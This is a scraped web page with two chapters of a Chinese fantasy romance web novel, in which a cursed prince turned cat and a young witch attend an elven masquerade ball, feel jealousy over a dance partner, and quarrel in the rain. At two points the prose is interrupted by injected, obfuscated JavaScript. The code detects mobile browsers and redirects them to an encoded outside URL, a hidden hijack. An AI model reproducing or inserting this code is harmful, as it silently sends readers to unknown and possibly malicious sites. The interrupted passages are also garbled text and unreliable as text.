她叹了口气。 “我以为你……不在了。”卢卡斯斟酌了一会儿,“你不知道那是什么感受。” 阿什琳大笑一声。 “相信我,我知道。” “你还想对那怪物手下留情,”卢卡斯敏锐道,“为什么?” “塔拉的确破坏了平衡,让母亲复活,一命换一命,这只是三头犬的工作罢了。”阿什琳说,“它并非邪恶到故意害人。但……” “任何从黑暗生长的生物都不值得同情。”卢卡斯说,“或许你对龙的感情给了你某些误会,但三头犬、奇美拉与九头蛇……它们是纯粹的怪兽,不具备任何感情,阿什琳。向我发誓,不要再把心浪费在多余的生命上了。” 他们目光交汇,时间凝固,暖金色的阳光在阿什琳棕绿色的眼睛中融化了,令人想起巧克力薄荷中的蜂蜜。 顿时,卢卡斯为自己还能看到这美丽的一幕而心怀感激,他的心尖瞬间被一根轻盈的羽毛浅浅掠过。 他想要离得更近,猫的视野下很难看清楚那眼睛究竟是绿色、琥珀色还是金色,亦或是永远在光线下变幻莫测,正如眼睛的主人一般捉摸不定? 他往前凑了凑,随即为自己的想法与行为感到羞愧。 现在他是一只猫,可能没什么。 但如果他是人,那就很奇怪了。 卢卡斯记得贵族中正常社交距离的规定,他当然不该和与他同龄的女孩离得这么近。 阿什琳眨了眨眼,他颤抖一下,羽毛随之飞去,而他也移开目光,换了个姿势,在她身上直接趴下。 现在她可以摸他,他心想,但没有说出口。她应该摸的,因为他还以为他失去了她。 他又担心又生气,当然值得一些安抚。 可他还是什么也没说。 “我发誓。”阿什琳点点头,随后活泼地咧开嘴,“嘿,你不觉得今天已经有太多沉重的话题了吗?我好不容易醒来,没有一点好消息?” 她的语调过于轻松了,卢卡斯心想。她压根不清楚她差点会遭遇什么,为什么她能这么迅速地转移话题? “我不知道这是否算是好消息,不过……梅莉娅陛下说,假面舞会明晚举办。一方面哀悼塔拉,另一方面也庆祝魔笛的回归。”卢卡斯说,“说到魔笛……” 他拍了拍笛子。“我觉得我们应该测试一下,看看它是否真的是解咒的一部分。”以防他们折腾半天全是白干。 “怎么测试?” “把它和龙火放在一起试试。” 阿什琳略显狐疑,但还是将龙牙树火把拿出来,瞪了火把一眼,火焰燃烧。 “你说的放一起是指——” “——火烧笛子,对。”卢卡斯愉悦地说。 “听起来很鲁莽啊。” “的确。”卢卡斯赞许。 阿什琳将笛子头放在龙火尖上,只听一声炸响,二者碰撞之处银光闪烁,卢卡斯不需要魔法天赋也能感受到它们强大的魔力。 “成了。”阿什琳果断灭了火,“任务进度二分之一!” “你应该现在就治愈神橡树的。这样我们才能尽快进行下一项探索。” “梅莉娅要求,必须在假面舞会时,我才能治愈神橡树。”阿什琳说,“我不知道为什么。可能是精灵的传统。” “那舞会也是所有生物必须参加的喽?” “不错。” 卢卡斯闭目长叹:“无聊又浪费时间,我们本来一刻也不能耽误的。” “嘿,舞会还是很好玩儿的!就明天放松一下,治愈魔笛后我们就继续前往北方。”阿什琳抗议。 “要不是精灵有规矩,我更建议我们今晚就动身。” “你急什么?”阿什琳翻了翻眼睛,“告诉你个秘密:今年的主题是动物,很贴合你哦。” 是他急吗? 不是她说有神灵警告他会被永远诅咒么? 不仅如此,他们已经踏上路途数日,天知道他的家人现在是什么态度。 就他所知,说不定皇城已经宣告了他的死亡呢。 卢卡斯压下心中的不满。他们刚经历了生离死别的战斗,他不想把气氛搞得一团糟。 “是吗?那你打算打扮成什么动物?” 阿什琳思索:“狼,我想。” “恭喜你终于认识到自己其实就是只金毛犬了。” “我的意思是威严凶猛的大野狼!”阿什琳恼火道,“大灰狼,大凶狼,吃掉小红帽的那种狼!别和我提任何狗的品种,谢谢。我有心理阴影。” 卢卡斯坏笑着把尾巴拍在她手上。这个动作很快就让他得到了报应。 “不过也不一定,”阿什琳沉思着,“如果我真的告诉你就不算真正的‘假面’了,对吗?” “有道理。” “你想扮成什么呢——黑猫?”阿什琳不怀好意地问道。 他很想做一个呕吐的表情,但猫局限了他的动作发挥,最终效果比较接近被口水呛死。 “鉴于我现在的模样,你觉得我还有别的选择?” 阿什琳大笑起来,露出两颗小虎牙。一时间,阳光成为这间屋子里最不明亮的东西了。 “哎呀,恐怕猫的确是最适合你的。”她用颇为惋惜的口吻说,“难不成您想当全场最靓丽的金凤凰吗,殿下?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374774|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 卢卡斯瞪了她一眼。“你别说,我以前真在假面舞会上扮演过凤凰,作为赫利安城的象征。” “嗯哼。然后?” 卢卡斯的尾巴又拍了拍床。 “灾难。珂利艾领主的儿子把我当成女孩,硬是让我跳了几圈女步,我却什么也没意识到。” “天呐,你会跳女步?”阿什琳咯咯笑着,“我都没怎么学会跳舞呢。你可以教我吗?” “你是说,现在?” “不然呢,小猫咪?” 卢卡斯示意了一下他全身。“我只能跳猫步。” “这不影响任何事。”阿什琳笑嘻嘻地下了床,但在要站起来的一瞬间却犹豫了,又坐了下来,“唉,原谅我,卢卡斯。我只是想做点别的事……除了怪兽,谜语和诅咒以外的事。” 卢卡斯静静地在她腿边蹲下,用鼻头蹭了蹭。 休息和清理过后的阿什琳闻起来像刚花园里除过的青草,与凌晨蒲公英上的露珠。 “我不明白我们怎么会卷入到这些事里。”女巫把头埋在手臂里,就像他们初次见面那样,“所有的一切,仅仅因为我念错了咒语。真的值得吗?” 卢卡斯眼睛半眯。 “啊,我不是说你不值得。”她急忙澄清,“我的意思是,真的有生命在因为我的过错而逝去,我很难……接受。明明一开始只是一场笑话一样的失误,为什么后面会涉及鲜血与死亡呢?也许被诅咒的从来都不是你。” 她说这话时顿了顿,似乎很小心卢卡斯的反应。卢卡斯呆住了,想弄明白她的意思。 “也许,我才是被诅咒的那个。”她艰难地、一个一个词地把话挤出来,“森林之血,躁动不安的魔力。这才是我一路行来的真正原因。你曾说我的到来是命中注定,艾丹也肯定了这一点。” “也许吧。”卢卡斯说道,“也许就是这么倒霉,我们都被诅咒了。到那又如何呢?一个被血液诅咒的女巫,一个被女巫诅咒的王子,简直就是最佳搭档。” 说罢他飞快跳下床面。 “不是说要练习跳舞么?机不可失,时不再来。” 他以猫的方式深鞠一躬。 阳光透过窗棂,在地板上切割出明亮的光斑。 这是天然的舞池,没有乐师,没有竖琴,只有窗外偶尔传来的百灵鸟的歌声。 阿什琳光着脚,踩上微凉的瓷砖,微微屈膝,向他行礼。 卢卡斯蹲坐着,尾巴盘在身前,用一种近乎庄严的姿态轻轻点了一下头。 没有真正的音乐,但节奏却自然而然地产生了。 他的爪子肉垫轻拍地板的细微声响,嗒嗒嗒,稳定而清晰。 他绕着她走起了圈,步伐带上了某种韵律感,尾巴高高竖起,如同一位指挥家举起的指挥棒。 她噗嗤一笑,放松下来,闭上眼。她的动作渐渐变得流畅,变成一种自然的回应。她张开手臂,像一个真正的舞者那样舒展身体。 金发在旋转中扬起,划过阳光,洒下一片金黄,令卢卡斯无法睁眼。 他看着她。 她跳得称不上优美,但充斥着一种蓬勃的生命力,就像春风中肆意生长的藤蔓,枝桠上绽满金黄色的蒲公英。 突然间,他眼前的阿什琳与他先前通过记忆共享魔法感受到的阿什琳似乎重合了。 魔法失效后他们会逐渐遗忘曾经共享的大部分记忆,但还有零零碎碎的画面滞留在卢卡斯的脑海里。 视角混乱起来,那个赤脚奔向森林的女孩爽朗地笑着,头上带着童年好友做的雏菊花环。村里的小男孩冲她投来石子,嘲笑她是邪恶的女巫,身边的白蜡树却莫名其妙地伸出枝叶,狠狠划过男孩的脸。 她会为这些嘲笑大哭一场,甚至冲萨诺瓦发脾气,难过到不吃晚饭(萨诺瓦本来也忘了做),但再听一个猎魔人捕获雷鸟或是矮人发明机器怪物的故事,就立刻春光满面,好像那些冒险故事才是她的世界。 舞蹈变得更加肆意。阿什琳哼起了一段艾丹曲子里的旋律,虽不成调,但十分欢快。 卢卡斯随着那即兴的调子加快了步伐,时而绕着她穿梭,时而用头顶一下她悬垂的手心,引导她转向。 阳光追随着他们,影子比他们跳得还要热烈。 最后,阿什琳笑着跌坐回床沿,气喘吁吁,脸颊红润。 卢卡斯也停了下来,蹲坐在她面前。 “怎么样?” 他问道,努力让语气听起来只是随口一问。 “完美极了。”阿什琳眼睛亮晶晶的,“我觉得,是我跳过最好的一支舞。” 卢卡斯沉默片刻,房间中只有阳光在流动。 “……我也是。” 然后他转过身,极其认真地舔起肩膀上的毛,仿佛刚才说出那句话只是他的影子。 32.狼与天鹅 第二天晚上,阴云笼罩,伊洛文亚全然不见星辰与月亮,夜色黑压得像黑墨笔漏的水,就差挤出几滴黑墨下来。 卢卡斯没有扮成黑猫。 就像阿什琳说的,假面舞会的乐趣就在于“假面”,他要是黑猫的话反而是做了自己。 他戴着据说是由精灵谷最厉害的画师劳瑞尔设计的乌鸦面具,比这夜空更加漆黑,头顶插了几根假羽毛,眼下绘制着精美的银色螺纹。 面具有魔法加成,在脸上十分服帖,好像与他的皮肤融为一体。 他的蓝色披风是从艾丹那里借来的,上面绣着银色的鸾尾花,领口镶嵌着蓝宝石。 相较于艾丹,卢卡斯身材更为苗条,个子也稍矮些,因而那长披风穿在他身上略微显大。 一些黑色猫毛粘在披风上,抖不掉,他怀疑今后艾丹都不敢再穿这件披风了。 他轻轻敲了敲阿什琳的门。 屋内传来一声惊恐的尖叫,好像谁的鸡被拿去杀了。 “嘿,你还好吗?” “当然!你先走吧!”阿什琳在屋里慌乱地喊,“我的顺发咒发生了一点错误!” 他听到屋里一阵瓶罐掉落的声响,还有几句见不得人的咒骂和慌张的脚步声。 “需要帮助?” “不用!”阿什琳叫道,“我现在已经完全掌控了——” 接着是一声可怕的爆炸。 这就是她的“一点错误”吗??卢卡斯叹了口气。 “天哪,你这个蠢货。”阿什琳说,大概率是在骂她自己。 “嗯,我可以等你。”卢卡斯耐心道。 毕竟他们将是舞会中唯二的人类,一起去是最合理的安排,这样没有谁会感到突兀或尴尬。 再说,他们昨天一起练习了舞步。 又是一阵急促的脚步,夹杂着镜子摔在地上的声音。 “哦不,不用了,我答应了要和——”阿什琳潦草地说,“哎呀,该死——回来,你这该死的头绳!” 听起来她是去追赶头绳了。 卢卡斯本想问她答应了什么,但最终只是抿了抿嘴,一甩披风,前往主殿的宴会厅。 大厅被重新布置过,穹顶在魔法的作用下化作暗蓝的星空,壁画中的颜料隐隐泛亮。 目之所及的空气中,皆是发光颗粒飞舞,又因没有实体而不会像萤火虫那样恼人。 精灵们的礼服似乎都是用会流动的布料缝制的,绚烂的颜色在魔法星辰下变幻不断,令他眼花缭乱。 他们戴着千奇百怪的动物面具说笑走动,所有那些羽毛或绒毛都是设计师专门设计,没有任何精灵会过敏。 “晚上好呀,小黑鸟。”一个精灵拍了拍他,是一个戴着火烈鸟面具的女精灵,头发像一团火焰在身后展开着,造型夸张的硕大裙子和她的头发一样鲜红,“听说你们打败三头犬夺回了魔笛,恭喜。” 卢卡斯被这突如其来的识破整得有点沮丧。 “谢谢您。您怎么知道我是——?” 火烈鸟大笑。 “你的面具就是我设计的!作为画家,我会详细关注所有到伊洛文亚的旅客,你走路时的姿态暴露了你。” “真是厉害。” “有空你给我讲讲详细的故事情节呗?”火烈鸟说,“我得说我真是厌倦了画那几个神的事儿了。啊,没有任何不敬的意思!” 说完她紧张地看向壁画上的神,好像在等待惩罚。 “当然可以,不过我现在有点忙。”卢卡斯冲她微笑道,目光却望向别处。阿什琳还没到吗?头绳能跑多远? 火烈鸟耸耸肩,很快又和别的精灵打招呼去了。 卢卡斯来到长桌前,桌上摆满精美的银餐具,盛着各式各样的佳肴,每隔几盘就出现一个多层点心盘,冰冻橙子、奶油苹果塔和榛果巧克力争相朝他招手,甚至有他最爱的杏仁布丁。 它们比狄亚斯的美□□致许多,每一样都是厨师的艺术品,让卢卡斯觉得吃掉它们简直是破坏艺术。 会飞的酒杯比之前在星月晚会上时有礼貌多了,显然被调整了咒语,十分优雅地悬在他身边,等他拾起。 卢卡斯毫无胃口,也不怎么渴,只是出于对酒杯的尊重喝了一口。酒杯非常高兴地跳了一段舞,对他鞠躬。他只好又为它鼓了鼓掌。 舞会上的精灵很多,但没几个注意到他的,全部匆匆经过。 开始他还试图和一只猫头鹰和一只白狐狸搭话,可他们很快也找好了自己的舞伴,一起饮酒歌唱去了。 倒是不用像之前在宫廷那样一味迎笑了,卢卡斯苦涩地想,可完全无人陪伴? 依然无趣。 所有美食与音乐都与他毫不相干,他不是舞会的嘉宾,只是个旅行者,一个局外人。 “乌鸦先生。”一个高冷的女声自他身后响起。 他回头,雪豹面具的长发精灵用深不可测的眼神看着他。 她的面具挡住的脸不多,他能认出来这是梅莉娅陛下,便微微倾头。 雪豹将一封印有太阳金纹的信塞进他手中,没多说一句话便藏匿于灵群中。 这里太嘈杂,他只得按耐住好奇心不去打开看内容。 守卫将大门关上,雪豹已经登上高台,即将发表致辞,可卢卡斯还是没看到那个熟悉的身影。 他不禁反思:难道他错了,他们没有他自以为的那么熟,以至于一戴上面具他就彻底认不出阿什琳了吗? 他一直默认他们会一起参加舞会,从没有考虑过全场都认不出对方的可能性。 过于自以为是,他心想。 说到底他们才认识了多久,真的算朋友么?阿什琳或许嘴上说他们可以做朋友,但“朋友”这个词对卢卡斯几近陌生,他所能想到的除了阿什琳以外也就是伊莱恩了。可伊莱恩是他的姐姐,因此也不能算数。 宫廷里那些同龄孩子自然是算不上的——他们比精灵文的语法还要无聊,礼貌相待已是他最好的态度。 可阿什琳不一样。 她在自由自在的环境长大,肯定有数不胜数的朋友。现在他知道她不像别人那般在意身份与等级,这样一来他岂不更一无所有? 连王子也无足轻重,那么他在她心中其实可能什么也不是,无非是她那讨厌的包袱。她的生活中充满大自然与友谊,他只是她森林中一根微不足道的猫毛,需要被摘掉。 卢卡斯突然意识到,他从来没有正经邀请过阿什琳。 她当然有可能早就来到舞厅,和别的精灵一起玩儿。 精灵们叽叽喳喳,没有谁再理会一只不断寻找他人的乌鸦;乌鸦也没有心情主动邀约别的动物。乱七八糟的八卦冲进他的耳朵。 “你们知道泽兰暗恋过塔拉吗?” “不会吧……” “他看着不像,一定是在掩藏悲伤。” “还有啊,大乐师艾丹似乎对那个可爱的人类小女巫很有兴趣!” “真的吗?他已经多少年没有恋爱过了……” 卢卡斯手一抖,杯子摔在地上。 他再次想起记忆共享时,在阿什琳记忆中看到的艾丹:温柔、羞涩、清俊,的的确确像个恋爱中的少年。 好吧。如果他最爱的偶像和他自认为最好的朋友在一起,对他来说应该是件好事。而且,在记忆中阿什琳明确表达了态度,她并不以浪漫的方式喜欢他。 不是吗? 雪豹清了清嗓子,大厅一秒内变得肃静。 “今天,是个特殊的日子。”她说道,“我们依照传统,汇聚于此,狂欢一夜,庆贺伊洛文亚的生辰,也感激森林女神的恩典。但也不要忘记,我们刚刚失去了一位重要的伙伴。或许她的行径是不正当的,但她的死是光荣的。” 她停顿片刻,精灵和酒杯们低下头。 “我们也重获了诺卡利魔笛。”雪豹用更为上扬的语气说,“这要归功于两位亲爱的人类友人,以及我的弟弟——很遗憾,他似乎迟到了,可能是为了保持他的神秘感。” 精灵们轻笑起来。卢卡斯则有种不祥的预感。 雪豹冲一侧的乐队点点头。“本来接下来是我与我的弟弟领舞之时,鉴于他此时不在——” “他在。”一个动听的声音道。 所有精灵都回过头,大厅门口,是身着深紫色长袍、戴天鹅面具的男子,面具上的白羽毛与卢卡斯的黑羽如出一辙,不过更具展翅翱翔的姿态。 卢卡斯呼吸一滞,但不是因为天鹅。 他身旁,则是一个金色狼面具的女孩,薄荷色的纱裙上星星点点地缀着白蝴蝶,蝴蝶的翅膀真的在一张一合。裙尾染上淡粉色,像花瓣一般。 这时,有节奏的音乐轻快响起,天鹅长袍上的音符开始发紫光。 灯冲天鹅与金狼的方向打下,令他们成为全场中心,舞会的第一支舞。 天鹅摘下面具,露出艾丹的面孔。 “我想,第一支舞,就明面献给大家。”他轻柔地说,“你怎么想,狼小姐?” 金狼犹豫了一下,也摘下面具。阿什琳那熟悉的脸立刻露出来。 但卢卡斯却反应了好一会儿。 他一阵晕眩,好像又有医生给他放血了似的。 太阳神在上,他竟到现在才发觉,阿什琳是多么美。 她看起来完全不像他认识的那个马马虎虎的小女巫了,简直比场上所有女孩都更加耀眼。 平常他很少考虑“阿什琳是什么样”,因为他们每天都稀里糊涂地相见,要么在龙背上。要么在地牢里,要么在战斗上。 她给他的印象一直是一个乱七八糟的乡下女巫。 现在,她的头发不再乱蓬蓬,而是被顺发咒整理成金卷,高雅地盘在头顶,金发中精致地插着珍珠长簪,被金色月桂叶包裹;眼睛比任何绿裙都要绿,绿得夺人心魄。 卢卡斯感觉自己心跳的旋律被打乱了几下,但随即又恢复正常。 他真的认识阿什琳吗? 到底哪个才是真实的她呢? 忽然间,卢卡斯感到莫大的陌生。 艾丹不知说了什么,令阿什琳爽朗地笑起来。 她露出两颗犬齿一样的尖牙,卷曲的金发中淌着星光,淡绿色的纱裙让她完美地融入精灵间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386138|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他们绝对是舞会上的最佳舞伴,动作随着节奏的起伏是如此协调,每个精灵都看得入迷。 银发天鹅和金发小狼,每个步伐底下都能生出新的音符。 一时间,卢卡斯甚至不知道自己的酸涩是因为谁:他心中地位最高的音乐偶像,正在和他最好的朋友跳舞。 其他所有人像都仿佛退场,桌子也一干二净,音乐为他们二者独奏。 显然,这就是阿什琳之前想要告诉他的“答应”。 她提前答应了艾丹的邀请。 而他,孤零零站在舞会的角落:一只十足的可怜鸟,一只被抛弃的流浪猫。 这就是他本该待的地方。 先前他能获得关注只是因为一顶王冠,现在,他不值得任何舞伴。 他环顾四周,没有精灵邀请他,大家都找好了自己的小动物。方才同他打招呼的火烈鸟,也在与别的女孩手挽手谈笑风生。 过去,出于对王子的尊重,人们都抢着和他跳舞,但显然没有精灵对一个幼稚的人类男孩感冒,也没有动物会喜欢一只带来厄运的乌鸦。 他想起在赫利安时的那些舞会。贵族们对他满脸堆笑,女孩们则在父母的要求下装出喜爱他的模样。 父王会给他充满暗示的目光,他也随之领起贵族女孩的手,跳起乏味的舞步,和舞蹈老师教的一模一样,每一个步伐都练习过成千上万次,每一个转身都循环过数不胜数回。他迎合着舞伴的动作,思绪却飞翔于千里之外。 过后,人们会为他们的舞蹈喝彩,他也微笑鞠躬,却不知自己究竟该如何想。 那时他到底在为谁而舞呢?为那个同样不知所措的贵族女孩,为领主间的结盟,还是为父母的目光? 一旦离了王子的身份,他什么也不会,什么也不是。 人们奉承他是因为他是王子,但在这里,他不是了。 他只是个傻乎乎的他乡异客。 于是他孤身一人。 一旦失去这个头衔,他就一无所有。 卢卡斯本以为见到阿什琳后心情就会好转,可是并没有。 相反,他的胃里有一股扭曲的沉闷。 这种未解之谜在自己身上的感觉让他抓狂。 他拼了命地想找到原因,可原因压根不存在。 他将那杯酒一饮而尽,酒杯受宠若惊地呆住了。 随着一个华丽的转身,绿裙子像伞一样撑开又合起。 乐曲终于结束,迎来大片大片的掌声,舞会这才正式开始。 卢卡斯则大大松了一口气,希望永远不要有下一支舞曲。 “狼小姐,玩儿得开心吗?”见她过来,他装出一副漫不经心的样子。 阿什琳难掩脸上的兴奋。 “艾丹不仅是最厉害的乐师,还是个出色的舞者!我从没有这样的体验,简直就是魔法。” “那真棒。”卢卡斯努力作出很感兴趣的样子,“他不再像之前那么神秘兮兮了,是吗?” “实际上,他相当迷人。”阿什琳说,随后又赶紧补上一句,“不过迷不倒我,当然啦。” “显然如此。”卢卡斯意识到自己的声音过于冷了,于是赶紧转变话题想热情一点,“那么,您接下来想干什么呢?” “那当然是尽情享乐啦,嗯——乌鸦先生?”她眯了眯眼,好像在观察他的眼睛,“啊哈,乌鸦皮里藏了只小猫咪呀。” 卢卡斯躲闪着她的眼神。 “天哪,您怎么会有这样的想法?乌鸦就是乌鸦。” “乌鸦的礼服上会有猫毛?” 卢卡斯无言以对。 阿什琳再次戴上面具。 “考虑到乌鸦和狼一向是大自然中的合作关系……这只乌鸦会和狼跳舞吗?” 卢卡斯刚要欣然答应,此时那只阴魂不散的天鹅却凑过来。 “狼小姐,过不了多久就要治愈神橡树了,”他对狼说,“你准备好了吗?” “我想不用这么急,”狼小姐说,“还有几支舞曲的时间呢。” 天鹅先生递给狼小姐一杯葡萄酒,颜色比其他的更深一点。 卢卡斯看不出这么做的原因——他们周围明明到处都是悬空的酒杯。 “那好吧。不过,跳了这么久,你一定也渴了吧?”天鹅举起自己的酒杯,向她示意。 有那么一瞬间,卢卡斯想打飞阿什琳手中的酒杯,大叫着让她不要喝,可这么做毫无依据。 狼小姐犹豫了一下,但还是喝掉了那杯酒。 在那可怕的几秒钟里,卢卡斯担心她会突然倒地,然后发现酒中其实含有毒芹。 事实证明他想多了;无事发生,酒里什么都没有,天鹅是真担心狼口渴。 乌鸦盯着狼和天鹅,心中五味杂陈,头脑晕乎乎的,酒精隐秘地开始发挥作用。 整个世界都无聊透顶,现在他们做的事完全就是浪费时间,他真应该拿上魔笛就跑的。 “突然想起来有点事,我先告辞了,请替我向梅莉娅转告一声。” “什么?可是舞会才刚开始——” 他已然离去。 33.舞会和雨 宫殿外下着倾盆大雨,电闪雷鸣,但对卢卡斯混沌的大脑来说,整个外面的世界就像不存在。 他摘下面具,巴不得雨下得更大点儿,大到能冲刷掉他所有的憋屈与痛苦。 最好的情况是他被大雨淹死,这样他就什么也不用面对了。 可显然,他还是要面对:阿什琳撑着一把树叶做的雨伞,来到他身边。 他本打算自己一个人消化一下思绪,现在看来他毫无退路。 “不和你的精灵男友一起跳舞了?”卢卡斯发现他的声音比想象中更尖锐一点。 “什么——男友?你在想什么?也许你忘了,他已经几百多岁,年龄都可以当我的曾曾曾曾曾——” “这么说只有年龄是问题喽。” 阿什琳困惑不解。 “这只是支舞罢了,卢卡斯。如果你在吃醋,随时可以和我交换位置——你会跳女步,对吧?我是说,我不确定他会不会。” 这真是完全颠倒。 卢卡斯盯着她,觉得一股闷热的气流憋在胸腔,而他自己也说不上来具体是怎么回事。 太阳神保佑,他真的试图去思考,但逻辑在这方面就像没有车轮的马车。而分析失败的感受,只令他更加烦恼。 “我没吃醋。”他否认得过于迅速,差点咬到自己的舌头,“我只是觉得你不应该浪费太多时间在这些精灵身上。我们时间紧迫,诺克斯也在寻找这些物品,别忘了。” “不过一个晚上而已,不会耽误什么的。” “一个晚上,诺克斯可能就已经获得兽人花环了!”卢卡斯的声音不知不觉地大了些,引得一些厅内的精灵好奇张望,于是他又压低声音,“一个晚上,他就有能力解开辛西娅的诅咒。阿什琳,世界危在旦夕,我可没有时间陪你吃喝玩乐。” 雨水倾泻而下,声音和冰雹一样大,似乎带着某种怨恨。 卢卡斯觉得自己什么也不在乎了:他的头发、长袍和衬衫处处滴水,袜子像冰块一样凉凉地紧贴双脚,都比不上他心中翻涌的情绪。 阿什琳的脸涨红了,金色的眼影粉被雨水晕到脸上。 看得出来,她也开始生气。 “我不明白。我们拿到了诺卡利魔笛——谜语中的风元素,难道不值得庆祝么?” “那好吧,等我完全变成猫之后,我会亲自为你捕一只老鼠来助兴。” “这么说,其实是因为这件事。”阿什琳一脸了然于心的表情,令卢卡斯更为烦躁,“你害怕了。” “我?害怕?”他冷笑出来,接下来的话不经控制涌出,“怎么成我的问题了?我成现在这样,还不都是因为你!” 阿什琳震惊地张了张嘴,没有说话。 卢卡斯觉得自己占了上风,随即又为这种感觉而一阵恶心。 他为什么要这么说? 他想告诉她,不,他不是这么想的——他并没有真的责怪她对他的诅咒,毕竟他们之前讨论过这件事,他也明确表达了自己的理解。 他当然知道阿什琳是出于好心。 即便是现在,他也不是真的在生阿什琳的气。 他甚至不知道自己在气什么。 但或许是大雨和酒精将他的思想搅和成了泥塘,令他充满一种不合时宜的冲动。 他依然将话一股脑抛了出去,平生第一次没有经过思考。 “你以为这很好玩儿,是不是?把王子变成猫,把酒馆变成树林,和龙交朋友,甚至和三头犬共情,在黑巫师还潜逃着的时候和精灵偶像跳舞!就因为你的梦想是当一个旅行家,所以你享乐其中——” 阿什琳难以置信地望着他。 “我什么时候——我从来没有觉得这很好玩。我不会拿别人的痛苦享乐!” “是吗?你明明跳舞跳得很开心啊,塔拉刚去世两天——” “我没——” “哦,还有,艾丹到底说了什么甜言蜜语,让你为他倾倒了?” 卢卡斯感到一阵恶毒的快意,但并非他本意。他更厌恶自己了,却又感觉必须说出来。 他们在地牢时的对话在他耳畔响起: “我想成为一个旅行者——或者冒险家。” 阿什琳的愿望。 她一直渴望拥有一场冒险,现在她的梦想正在实现。她成了冒险家,不断踏上旅程。 他们明明没时间跳舞玩乐,可她却乐此不彼。 也许,其实她并不在乎王子,也不在乎猫。 她在乎的是她的冒险历程。 难道她在无意中念错咒语,是为了释放潜意识中的渴望吗? 凭什么她就可以有这样无忧无虑的梦想,如此轻而易举地就加以实现,而他甚至需要被诅咒,才能暂时离开皇宫? 卢卡斯痛恨自己如此揣摩。可想法是小小的草种,看着不起眼,一旦进去却不再出来,而是在脑海中牢牢地生根、发芽。 阿什琳两手叉腰。 “艾丹又和我们现在谈论的内容有什么关系?” 关系可大着呢,卢卡斯心想。 “你没告诉我你们俩定好了要一起领舞。” 阿什琳刻薄地笑了一声。 “有没有一种可能,我根本没必要告诉你我所有事情?” “但是我本以为——”卢卡斯吸了口气,“我本以为跳舞的会是我们!你忘了我们的练习吗?而且舞会也是为了感谢我们——” “我们,还有艾丹,”阿什琳强调,“是我们三个打败三头犬的。” “艾丹,艾丹,艾丹。作为迷妹,你一定心里乐开了花吧?我倒是觉得,他没有看起来的那么友善。这家伙相当可疑,需要我给你列举疑点吗?” “老天,听听你的话!你还是他的迷弟呢,乐谱比我还多五本!如果你是在试图表达,你想当我的舞伴——” “我不是这个意思——”卢卡斯辩解道,完全忘了自己一开始是什么意思。 “那好吧,反正,我想和谁跳舞,就和谁跳!”阿什琳大声说,眼眶发红,“早在第一次见面我就告诉你了,卢卡斯,我不是你的女仆。诅咒没有把我整个人束缚给你,我还是我,你还是你,我和艾丹之间的问题是我们自己的事儿!既然你也不想当我的舞伴,干嘛对我和艾丹跳舞如此心怀芥蒂?” 她看上去坚定极了,的确有狼狗上扑前的趋势。 卢卡斯决定转移攻击目标。 “那么三头犬的时候呢?你完全不听我的话,就那样冲过去——” “听着,如果你是在为三头犬生气,我说过我当时吓坏了——” “你差点死了!”卢卡斯吼道,没有意识到音量完全盖过了雨声,直到喝了几口雨水。 他终于说出了这句最关键的话。 阿什琳永远也不会知道他当时有多么惊慌,他心想。 他本来会彻底失去她。失去这个旅途中唯一的伙伴,失去这个比他的世界要鲜活、要多彩得多的生命,失去这个这么多年来,第一个真心对待他的人。 而她直到现在都不把生死危机当回事——是啊,反正她死里逃生了。 “可我活得好好的,不是吗?该死,我以为我们已经解决这个问题了。” “那是运气好。你的莽撞迟早会害了我们所有人!从没仔细想过任何事,没想过别人的感受——” 话一出口,卢卡斯就意识到自己太过分了。 他怎么能说出这么伤人的话来? 雨水,又或者是泪水,从阿什琳脸上滚落。 “你怎么能这么说?从一开始,我就对这一切感到内疚,你不可能不知道!你——你说没关系,甚至还安慰我……现在看来它们根本不是真心的。或许你没注意到,我一直在为自己的错误赎罪!” 她说不下去了,抽泣着,卢卡斯几乎要后悔了。 “我就知道会这样。我不该告诉你的。我不该告诉你我的梦想,我也不该告诉你女神的警告。” “阿什琳……” “你就是个虚伪的胆小鬼,卢卡斯·德维尔,无论那天面对龙晶石,还是现在面对我。”她仰起头,“但现在这些都不重要了。最重要的是,你压根儿不敢面对你自己。” 卢卡斯想要道歉,但他发现“对不起”和“我错了”此刻都非常烫舌头。 与此同时,另一个问题不由自主地冒出来:“这又是什么意思?” 阿什琳没有直接回答。 “我曾以为你不仅仅是一个傲慢自大、目中无人的王子,我以为你身上有更多东西。”她轻蔑地说,“现在看来,我错了。你和那些高高在上的贵族没什么不同。” 卢卡斯感觉一把匕首扎在他心脏上。 这不公平,她怎么能——她知道他痛恨宫廷那些人,在龙晶洞窟时她什么都看到了。 抛下这句话,她愤怒离去,树伞软踏踏地支棱着,裙子泡在雨水里,拖出一地长长的泥痕。 卢卡斯独自站在雨中,怒火随着她的离去被大雨浇灭,化作某种冰凉彻骨的东西,沉进胃里。 他看到地上水滩中自己狼狈的倒影,突然间像个疯子似的大笑起来。 他猛然发觉,自己现在是人,可却比任何时候更像幻境中的野兽。 他想要呕吐,可他明明什么也没吃。 他跪在地上,痛恨自己的一切,祈祷雨能下得更大,让他和地上的泥水做家人。泪水和雨滴混在一起,划过他的脸。 这一次,是他搞砸了。 真正搞砸。 